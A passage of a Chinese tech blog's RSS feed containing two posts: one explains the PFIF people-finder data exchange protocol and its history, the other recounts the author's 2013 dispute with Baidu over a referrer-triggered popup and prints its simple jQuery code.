class=\"wp_rp_title\">Unix传奇(上篇)</a></li><li ><a href=\"https://coolshell.cn/articles/1761.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/11/spell_it_with_e-150x150.jpg\" alt=\"Go语言源码的一个改动\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1761.html\" class=\"wp_rp_title\">Go语言源码的一个改动</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/9410.html\">Unix考古记：一个“遗失”的shell</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/9410.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>26</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>PFIF网上寻人协议</title>\n\t\t<link>https://coolshell.cn/articles/9508.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/9508.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sun, 21 Apr 2013 16:20:16 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Atom]]></category>\n\t\t<category><![CDATA[Google]]></category>\n\t\t<category><![CDATA[PFIF]]></category>\n\t\t<category><![CDATA[RSS]]></category>\n\t\t<category><![CDATA[XML]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=9508</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>本文的主要内容来自Wikipedia(http://en.wikipedia.org/wiki/People_Finder_Interchange_Format...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/9508.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/9508.html\">PFIF网上寻人协议</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>本文的主要内容来自Wikipedia(<a href=\"http://en.wikipedia.org/wiki/People_Finder_Interchange_Format\" target=\"_blank\">http://en.wikipedia.org/wiki/People_Finder_Interchange_Format</a>)</p>\n<p>PFIF全称People Finder Interchange Format，是一个应用广泛的数据开源的标准协议，这个协议主要是设计用来在不同的政府、救援组织、或是其它的一些灾难中生存者和其亲人联系的网站间进行数据交换的一种协议。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/04/Google-Person-Finder.png\" width=\"492\" height=\"249\" /></p>\n<p>这个协议基于XML，信息中包括人的身份标识，还有人目前的位置和状态等一些信息。PFIF可以通过Atom和RSS feed出去。PFIF可以允许不同的寻人站点进行数据交换和合并。每一条记录都有一个唯一的标识，这个标识说明了这是由哪个域名创建的。这样，当A站点获得B点的某个人的数据时，在A站点可以对这个人的增加的信息可以转到其它站点上再被增加相关的信息，因为有一个唯一的ID，所以信息可以在不同的站点上被附加。</p>\n<p>从wikipedia上看，说起PFIF这个事，得回到2001年的911事件，那时人们一共使用了超过25个不同的在线论坛和网上寻人站来查找相关的亲人和朋友（注：寻人网站英文叫：Survivor Registry，生还者登记网站）。其中一个最大的网站是由伯克利大学的学生Ka-Ping Yee 和 Miriam Walker 开发运行在Millennium计算集群上的safe.millennium.berkeley.edu网站。那时，为了减少各种网站间的混乱，伯克利的寻人网站开始从其它几个比较大的寻人站点收集相关的数据，并人肉整合到一起。</p>\n<p><span id=\"more-9508\"></span></p>\n<p>2005年，在<a title=\"Hurricane Katrina\" href=\"http://en.wikipedia.org/wiki/Hurricane_Katrina\">卡特里娜飓风</a> 灾难的时候，有数据百万人迁移。于是相关的寻人网站又出现了，而且比911的还要多。于是有很多的志愿者开发了一个叫 <a title=\"Katrina PeopleFinder Project\" href=\"http://en.wikipedia.org/wiki/Katrina_PeopleFinder_Project\">Katrina PeopleFinder Project（卡特里娜寻人项目）</a> 他们人肉地收集不同站点的数据，并统一格式放到一个由Salesfore.com提供一个数据库中。这个项目的组织者David Geilhufe 呼吁一个技术标准以便这些寻人网站间的数据可以自动地整合共享在一起。于是之前伯克利的那个 <a href=\"http://zesty.ca/\" target=\"_blank\">Ka-Ping Yee</a> 开始和志愿者 Kieran Lal，Jonathan Plax 和 <a title=\"CiviCRM\" href=\"http://en.wikipedia.org/wiki/CiviCRM\">CiviCRM</a> 团队一同工作，于是开始了草拟了第一版的PFIF协议，其于2005年9月4日发布，1.1版于第二天发布，其中修改了一些错误。随后，Salesfore.com的数据库开始支持这一标准，然后，Yahoo!和Google的寻人网站也加入这一协议。</p>\n<p>接下来， <a title=\"2010 Haiti earthquake\" href=\"http://en.wikipedia.org/wiki/2010_Haiti_earthquake\">2010年的海地地震</a> 时，Google发布了自己的 <a title=\"Google Person Finder\" href=\"http://en.wikipedia.org/wiki/Google_Person_Finder\">Google Person Finder</a>，其基于PFIF协议和CNN，纽约时报，以及美国国家医学图书馆和其它的一些寻人网站进行数据交换。然而，PFIF1.1是基于美国的社会标准搞的，并不适用于海地。于是2010年1月26日，PFIF1.2发布，其增加了几个字段用于标记生还者的国家和国际区号，还有性别，年纪，生日，状态，还有相同人的关联。</p>\n<p>PFIF 1.3 于2011年3月发布，其主要解决了个人隐私问题，其加入了一个字段指明该信息的一个有效时间，过期的数据会被删除。PFIF1.3同时移除了英式的first-name和last-name，取而代之的是full-name。</p>\n<p>PFIF 1.4 于2012年5月发布，其加入了一个字段用于链接这个人在互联网上的个人资源链接，这样可以用于合并相同的人（比如：指向同一个微博网址），还支持了多个照片。</p>\n<p style=\"text-align: center;\"><strong>PFIF1.4的Spec链接：<a href=\"http://zesty.ca/pfif/1.4/\" target=\"_blank\">http://zesty.ca/pfif/1.4/ </a></strong></p>\n<p>如下的网站有软件实现了PFIF：</p>\n<ul>\n<li><a title=\"Google Person Finder\" href=\"http://en.wikipedia.org/wiki/Google_Person_Finder\">Google Person Finder</a></li>\n<li><a title=\"Sahana FOSS Disaster Management System\" href=\"http://en.wikipedia.org/wiki/Sahana_FOSS_Disaster_Management_System\">Sahana Eden</a></li>\n<li><a href=\"http://pl.nlm.nih.gov/index.php\" rel=\"nofollow\">National Library of Medicine People Locator</a></li>\n<li><a title=\"Ushahidi\" href=\"http://en.wikipedia.org/wiki/Ushahidi#Ushahidi\">Ushahidi</a></li>\n<li><a href=\"http://code.google.com/p/pfifnet/\" rel=\"nofollow\">PFIF .NET Library</a></li>\n<li><a href=\"http://erislabs.net/ianb/projects/pfif/\" rel=\"nofollow\">XML::PFIF Perl module</a></li>\n</ul>\n<p>本次四川地震，谷歌率先发布了他人寻人网站：<a href=\"https://google.org/personfinder/2013-sichuan-earthquake\" target=\"_blank\">https://google.org/personfinder/2013-sichuan-earthquake</a>。接下来，国内的百度，360，搜索，一淘，CSDN，高德……都发布了自己的寻人网站，微博上，大家都在说这些企业不应该搞这么多这样的网站，这样只会造成混乱。而且大家都在呼吁大家一起运作一个网站，共享数据，共享信息。晚上，我在微博上看到了这个PFIF协议，于是写下这篇文章。</p>\n<p>关于Google 的寻人的数据可以通过Google PersonFinder API 下载和上传，这里是其API页面：</p>\n<p style=\"text-align: center;\"><strong><a href=\"http://code.google.com/p/googlepersonfinder/wiki/DataAPI\" target=\"_blank\">http://code.google.com/p/googlepersonfinder/wiki/DataAPI</a></strong></p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22398.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2023/02/chatgpt-150x150.jpg\" alt=\"我看ChatGPT: 为啥谷歌掉了千亿美金\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22398.html\" class=\"wp_rp_title\">我看ChatGPT: 为啥谷歌掉了千亿美金</a></li><li ><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" alt=\"Google Inbox如何跨平台重用代码？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_title\">Google Inbox如何跨平台重用代码？</a></li><li ><a href=\"https://coolshell.cn/articles/5815.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"来信， 创业 和 移动互联网\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5815.html\" class=\"wp_rp_title\">来信， 创业 和 移动互联网</a></li><li ><a href=\"https://coolshell.cn/articles/5701.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"SteveY对Amazon和Google平台的吐槽\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5701.html\" class=\"wp_rp_title\">SteveY对Amazon和Google平台的吐槽</a></li><li ><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/09/image008-150x150.jpg\" alt=\"一些文章和各种资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_title\">一些文章和各种资源</a></li><li ><a href=\"https://coolshell.cn/articles/4905.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg\" alt=\"语言的数据亲和力\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4905.html\" class=\"wp_rp_title\">语言的数据亲和力</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/9508.html\">PFIF网上寻人协议</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/9508.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>24</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>“作环保的程序员，从不用百度开始”</title>\n\t\t<link>https://coolshell.cn/articles/9308.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/9308.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sat, 23 Mar 2013 13:47:20 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[baidu]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=9308</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>酷壳对来自百度搜索引擎的访问会弹窗，但是我的这个行为发酵出了一些事情，这里把这个事情说明如下，我会更新相关的东西。内行看门道，外行看热闹。 事由 2月6日 看到...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/9308.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/9308.html\">“作环保的程序员，从不用百度开始”</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>酷壳对来自百度搜索引擎的访问会弹窗，但是我的这个行为发酵出了一些事情，这里把这个事情说明如下，我会更新相关的东西。内行看门道，外行看热闹。</p>\n<h4>事由</h4>\n<p><strong>2月6日</strong> 看到<a href=\"http://weibo.com/1497035431/zi69DBK3b\" target=\"_blank\" rel=\"noopener\">梁斌同学的微博</a>（起因可能是因为梁斌同学在微博上对帮助百度的一些工程师们说话导致他的“<a href=\"http://xunren.thuir.org/\" target=\"_blank\" rel=\"noopener\">微博寻人</a>”全站被百度屏蔽）</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2013/03/01.png\" alt=\"\" width=\"591\" height=\"348\" /></p>\n<p>我看到后，觉得梁斌同学有点太看重被百度收录了，没有站长应该有的气质，所以，我<a href=\"http://weibo.com/1401880315/zibYUvZYd\" target=\"_blank\" rel=\"noopener\">回了一个微博</a>——</p>\n<blockquote><p>“我的酷壳倒反而因为被百度收录而感到掉价！”</p></blockquote>\n<p><strong>2月6日当天</strong>，我给coolshell做了个弹窗，并发布微博—— （该微博目前已被新浪管理员删除，后面有说明）</p>\n<p><span id=\"more-9308\"></span></p>\n<blockquote><p>“搞定收工！从百度访问过来的访问弹出对话框。（CoolShell上的网页有缓存，要过些时间才有效）”</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-9315\" src=\"https://coolshell.cn/wp-content/uploads/2013/03/02.png\" alt=\"\" width=\"522\" height=\"261\" srcset=\"https://coolshell.cn/wp-content/uploads/2013/03/02.png 522w, https://coolshell.cn/wp-content/uploads/2013/03/02-300x150.png 300w\" sizes=\"(max-width: 522px) 100vw, 522px\" /></p></blockquote>\n<p><strong>2月21日</strong>：百度的法律顾问发来邮件。</p>\n<blockquote><p>From: xxxxxx@baidu.com<br />\nTo: haoel@hotmail.com<br />\nCC: xxxxxx@baidu.com<br />\nSubject: 答复: 网站coolshell.cn弹窗事宜<br />\nDate: Thu, 21 Feb 2013 07:05:09 +0000</p>\n<p>陈浩，您好！</p>\n<p>我是百度法务部法律顾问，就您的网站上有贬损百度商标的弹窗，以及通过微博等途径予以传播事宜，我们希望您及时终止。</p>\n<p>如您不希望百度搜索收录您的网页，您可以通过Robots 协议予以规定。关于如何禁止百度Robots收录您的网站，如您需要技术方面的支持，我可以协助联系百度的工程师与您沟通。</p>\n<p>如有任何问题，请随时联系。</p>\n<p>谢谢！</p>\n<p>段志勇</p></blockquote>\n<p>我当天回复邮件到——</p>\n<blockquote><p>『我是酷壳的法律顾问，请百度停止收录酷壳的网页，以及在所有百度产品线里删除酷壳的文章，尤其是百度文库里我所有的文章和PPT，你们已经违反了中华人民共和国版权著作法，酷壳将保留行使法律的权力』</p></blockquote>\n<p><strong>3月2日</strong>：<a href=\"http://service.account.weibo.com/show?rid=K1CaJ6QFe6K4d\" target=\"_blank\" rel=\"noopener\">新浪微博举报大厅</a>。（把我2月6日弹窗的微博给删除了，注意，其中没有我自辩的过程，还有其中荒唐的逻辑）</p>\n<p style=\"padding-left: 30px;\"><a href=\"http://service.account.weibo.com/show?rid=K1CaJ6QFe6K4d\" target=\"_blank\" rel=\"noopener\">http://service.account.weibo.com/show?rid=K1CaJ6QFe6K4d</a></p>\n<p style=\"padding-left: 30px;\">我问新浪为什么没有我自辩的过程，新浪微博客服回服如下：</p>\n<blockquote><p> 尊敬的新浪微博用户： 您好！关于您反馈的被举报问题，经核实此判决符合社区公约规定判定无误，感谢您的支持，祝您生活愉快~~</p></blockquote>\n<p style=\"padding-left: 30px;\">我没有多理会，留下一条“<a href=\"http://weibo.com/1401880315/zlCT8v4si\" target=\"_blank\" rel=\"noopener\">多谢新浪和百度的自黑</a>”的微博我也没管这事了。</p>\n<p><strong>3月22日</strong>：收到了来自百度律师代理的邮件，如下：</p>\n<blockquote><p>From: xxxxx@teehowe.com<br />\nTo: haoel@hotmail.com<br />\nSubject: 关于贵方酷壳网弹窗构成对百度公司的不正当竞争事宜<br />\nDate: Fri, 22 Mar 2013 10:07:10 +0800</p>\n<p>陈先生，您好！</p>\n<p>我们，北京天昊联合知识产权代理有限公司，受百度在线网络技术（北京）有限公司（以下简称“百度公司”）委托就题述事宜特致函贵方（委托书请见附件）。</p>\n<p>百度公司近日发现：用户在使用谷歌、360等浏览器通过百度搜索访问您方酷壳网（<a title=\"https://coolshell.cn/\" href=\"https://coolshell.cn/\" target=\"_blank\" rel=\"noopener\">https://coolshell.cn/</a>）时，会弹窗一个小窗，上面将百度LOGO打叉，并使用“DO EVIL”、“做环保的程序员，从不用百度开始！”等标语，详细截图后附。我们认为：您方弹窗所含图像及语言描述缺乏事实基础，带有较强的感情色彩，足以误导互联网用户对百度公司产生不合理的怀疑乃至负面评价，从而对百度公司的商业信誉和品牌形象带来一定程度的贬损。根据《反不正当竞争法》第2、14、20条之规定，您方行为已构成对百度公司的不正当竞争。</p>\n<p>我们希望您方在收到此函后，清除所有相关侵权程序，立即停止对百度公司的所有侵权行为。我所当事人要求：贵方最迟于<strong><span style=\"text-decoration: underline;\">2013年3月25日</span></strong>前向以下通信地址做出实质回应：</p>\n<p>联系人：郑洪<br />\n地址：北京市东城区建国门内大街28号民生金融中心D座10层<br />\n邮编：100005<br />\n电话：010-8529 5526<br />\n传真：010-8529 5528</p>\n<p>此信函不影响我方当事人依法所享有的其他任何权利或法律救济途径。我们希望此纠纷能尽快解决，以维护互联网市场的健康有序发展。</p>\n<p>期待你方及时回复。如有任何问题，请随时与我们联系！</p>\n<p>郑洪</p></blockquote>\n<p>弹窗的抓图附件我就不列了，其中有一个委托书附件如下：</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-9324\" src=\"https://coolshell.cn/wp-content/uploads/2013/03/委托书.png\" alt=\"\" width=\"470\" height=\"500\" srcset=\"https://coolshell.cn/wp-content/uploads/2013/03/委托书.png 587w, https://coolshell.cn/wp-content/uploads/2013/03/委托书-281x300.png 281w\" sizes=\"(max-width: 470px) 100vw, 470px\" /></p>\n<h4>几个观点</h4>\n<p><strong>1）我非常不喜欢百度公司的非常浓重的商业化</strong></p>\n<p style=\"padding-left: 30px;\">我在《<strong><a href=\"https://coolshell.cn/articles/7186.html\" target=\"_blank\" rel=\"noopener\">做个环保主义的程序员</a></strong>》一文中说过一些百度的问题，如：</p>\n<ul>\n<li><strong>搜索结果很差</strong>。一些非技术的东西都搜不出来。技术文章就更不要说了。再比如百度抓取酷壳的网页，一方面是不及时，另一方面是有选择地抓，很多网页并没有抓取到源文，而是抓取到那些转载过去没有注明出处的网站，像《<strong><a href=\"https://coolshell.cn/articles/7186.html\" target=\"_blank\" rel=\"noopener\">做个环保主义的程序员</a></strong>》文章发布一年多了，过去的一年在百度里就查不到（这几天又能查到了）。（<strong>我很想了解百度的一些抓取网页的算法和搜索排名的算法，感觉相当诡异</strong>）</li>\n</ul>\n<ul>\n<li><strong>有很多虚假广告</strong>。<strong>我觉得一家公司商业化并没有什么问题，但是这种商业化不应建立在牺牲用户利益的基础上的，这是最最基本的底线</strong>。我觉得百度的商业上在这方面突破了太多的底线。</li>\n</ul>\n<p><strong>2）百度应该可以做得更好</strong></p>\n<p style=\"padding-left: 30px;\">@<a title=\"陈晓鸣在百度\" href=\"http://weibo.com/acumon\">陈晓鸣在百度</a>在私下给我介绍了一些百度的广告方面的技术细节，说是以前的那个竞价排名不存在了。但是难免有一些垃圾和造假。就像淘宝一样也有假货和诈骗。是的，<strong>这中国目前这个大环境下，要有一个干净的平台的确不容易。但是我希望百度能像淘宝一样，在业务上做一些打击虚假信息的活动——建立举报制，曝光所有的虚假和欺诈信息，并有一些惩罚措施。可惜百度做得还很不够主动</strong>。（<span style=\"color: #cc0000;\"><strong>与其花时间在我这里，不如花时间做好你自己的事</strong></span>）</p>\n<p style=\"padding-left: 30px;\"><strong>灰尘总是会有的，重点不在于灰尘和垃圾总是会有，重点在于想不想打扫。想不想打扫这是态度问题</strong>。</p>\n<p><strong>3）看不起百度并不是看不起百度的技术人员</strong></p>\n<p style=\"padding-left: 30px;\"><strong>我是比较敬重百度的技术人员的。我还是能够“一分为二的看问题”</strong>。比如：deep learning专家余凯、主导凤巢设计的戴文渊，自然语言处理顶级会议的首任华人主席王海峰，架构专家，移动云技术负责人林仕鼎等等。都是值得我学习的很不错的技术牛人。</p>\n<p style=\"padding-left: 30px;\">我一向是站在技术人员这边的。这点，在这个事件中也不会改变。<strong>我还是会推荐一些刚毕业的实在找不到更好工作的学生去百度</strong>。正如我在《<a title=\"来信， 创业 和 移动互联网\" href=\"https://coolshell.cn/articles/5815.html\" target=\"_blank\" rel=\"noopener\">来信，创业，移动互联网</a>》一文中说的那样。入世和出世，取其精华去其糟粕。</p>\n<p>4）<strong>关于弹窗这个事</strong></p>\n<p style=\"padding-left: 30px;\">关于弹窗这个事，<strong>我非常高兴酷壳成为了百度的竞争对手</strong>。我会接受网友的意见，<span style=\"color: #cc0000;\"><strong>我会将把弹窗这个事变成不弹窗，直接嵌在酷壳的每一篇文章里</strong></span>。酷壳上基本坚持不投放任何广告，这回一定要做个公益广告。</p>\n<p style=\"padding-left: 30px;\">关于法律上的一些事情，我无所谓，<span style=\"color: #cc0000;\"><strong>随时欢迎百度来起诉我，不来起诉就是怂包</strong></span>。以前当过原告起诉过清华大学出版社，今天当个被告，这样我的人生经历就完整了。大家知道，人生经历对我很重要。</p>\n<p><strong>5）感动和回报</strong></p>\n<p style=\"padding-left: 30px;\">我把百度委托律师给我的邮件放到了我的微博里（<a title=\"新浪微博上的百度律师邮件\" href=\"http://weibo.com/1401880315/zoF7ucEeR\" target=\"_blank\" rel=\"noopener\">点击这里</a>），很多朋友说要捐钱给我打官司。这点到是不需要了。但是我真的很感动。所以——</p>\n<p style=\"padding-left: 30px;\"><span style=\"color: #cc0000; font-size: 16px;\"><strong>我觉得我应该更多的珍惜大家对我的支持。如果你们在访问一些网站有什么困难的话，可以私下联系我，我愿意为你们提供相关的技术支持。这个事只能在私下做，你们懂的</strong></span>。</p>\n<p style=\"padding-left: 30px;\"><strong>当然，最好方式还是自建代理，如果你想DIY，<a href=\"https://github.com/haoel/haoel.github.io\" target=\"_blank\" rel=\"noopener\">你可以看看这篇文章</a>。</strong></p>\n<h4>附录：弹窗代码</h4>\n<p>大家问我那个弹窗是怎么做的，很简单的，可以看看coolshell.cn的源代码。就是从referrer中匹配baidu。我用了jquery的一个插件：<a href=\"http://dinbror.dk/bpopup/\" target=\"_blank\" rel=\"noopener\">bPopup</a>，关于那个no baidu插图来自：<a href=\"http://www.douban.com/online/10132155/\" target=\"_blank\" rel=\"noopener\">豆瓣的拒绝百度的兴趣小组</a>。</p>\n<p>源码如下：<strong><a href=\"http://weibo.com/n/Ninja_Lu\" target=\"_blank\" rel=\"noopener\">@Ninja_Lu</a> 做了一个github的：<a href=\"https://github.com/lurongkai/anti-baidu\" target=\"_blank\" rel=\"noopener\">https://github.com/lurongkai/anti-baidu </a></strong></p>\n<pre data-enlighter-language=\"html\" class=\"EnlighterJSRAW\">\n&lt;script src=&quot;http://ajax.googleapis.com/ajax/libs/jquery/1.9.0/jquery.min.js&quot;&gt;&lt;/script&gt;\n&lt;script src=&quot;https://coolshell.cn/wp-content/themes/inove/js/jquery.bpopup-0.8.0.min.js&quot;&gt;&lt;/script&gt;\n\n&lt;script type=&quot;text/javascript&quot;&gt;\n;(function($) {\n    $(function() {\n        var url=document.referrer;\n        if ( url &amp;&amp; url.search(&quot;http://&quot;)&gt;-1) {\n            var refurl =  url.match(/:\\/\\/(.[^/]+)/)[1];\n            if(refurl.indexOf(&quot;baidu.com&quot;)&gt;-1){\n                $(&#039;#nobaidu_dlg&#039;).bPopup();\n            }\n        }\n    });\n\n})(jQuery);\n&lt;/script&gt;\n\n&lt;div id=&quot;nobaidu_dlg&quot; style=&quot;background-color:#fff; border-radius:15px;color:#000;display:none;padding:20px;min-width:450px;min-height:180px;&quot;&gt;\n    &lt;img src=&quot;https://coolshell.cn/wp-content/themes/inove/img/nobaidu.jpg&quot; align=&quot;left&quot;&gt;\n     &lt;p style=&quot;margin-left:200px;margin-top: 20px; line-height: 30px;&quot;&gt;\n     检测到你还在使用百度这个搜索引擎，&lt;br/&gt;\n     做为一个程序员，这是一种自暴自弃！&lt;br/&gt;\n     &lt;br/&gt;\n     &lt;/p&gt;\n     &lt;p align=&quot;center&quot; style=&quot;margin-top:20px;&quot;&gt;\n     &lt;b&gt;&lt;a href=&quot;https://coolshell.cn/articles/7186.html&quot;&gt;作环保的程序员，从不用百度开始！&lt;/a&gt;&lt;/b&gt;\n     &lt;/p&gt;\n&lt;/div&gt;\n</pre>\n<p>P.S. robots.txt我已经加上了。</p>\n<p>（全文完，谢谢大家的支持）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/9308.html\">“作环保的程序员，从不用百度开始”</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/9308.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>780</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>《Rework》摘录及感想</title>\n\t\t<link>https://coolshell.cn/articles/9156.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/9156.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 11 Mar 2013 00:25:34 